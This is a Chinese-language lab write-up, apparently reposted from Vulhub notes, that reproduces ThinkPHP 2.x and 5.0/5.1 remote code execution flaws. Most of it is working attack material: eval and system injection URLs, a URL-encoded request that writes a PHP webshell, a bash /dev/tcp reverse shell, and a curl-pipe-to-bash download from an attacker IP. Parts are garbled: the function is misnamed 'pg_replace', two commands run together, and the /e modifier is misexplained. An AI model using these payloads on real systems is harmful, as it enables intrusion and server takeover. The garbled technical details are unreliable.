Vulhub-Thinkphp复现
Thinkphp 2.x 任意代码执行漏洞
漏洞简介
ThinkPHP 2.x版本中,使用pg_replace的/e模式匹配路由:
$res = pg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr, $paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
pg_replace这个函数使用方法如下:
pg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
关于/e的解释:
e 配合函数pg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式,此为PHP专有参数,例如pg_replace函数。
可以使用在线php沙箱测试php版本是否支持/e修饰符
沙箱地址:http://sandbox.onlinephpfunctions.com/
pg_replace这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。
影响版本
ThinkPHP 2.x
漏洞复现
启动漏洞
sudo docker-compose up -d
验证漏洞
http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}或者http://192.168.9.234:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
构造poc
http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
caidao成功连接
这里对其进行抓包
1=system("id");
反弹shell
bash -i >& /dev/tcp/192.168.10.65/8888 0>&1python -m SimpleHTTPServer 80
创建好bash
1=system("curl 192.168.10.65/zcc.sh | bash");
成功上线。
安全防护
用户可下载官方发布的补丁:http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
Thinkphp5-5.0.22/5.1.29远程执行代码漏洞
漏洞简介
ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响版本
ThinkPHP 5.0.x < 5.0.23ThinkPHP 5.1.x < 5.1.31
漏洞复现
启动漏洞
验证漏洞
http://192.168.8.63:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
任意代码执行
http://192.168.8.63:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入webshell
<?php eval($_POST[zcc]);?> #需要进行url编码
http://192.168.8.63:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e
蚁剑成功连接。
本文地址:百科问答频道 https://www.neebe.cn/wenda/917751_2.html,易企推百科一个免费的知识分享平台,本站部分文章来网络分享,本着互联网分享的精神,如有涉及到您的权益,请联系我们删除,谢谢!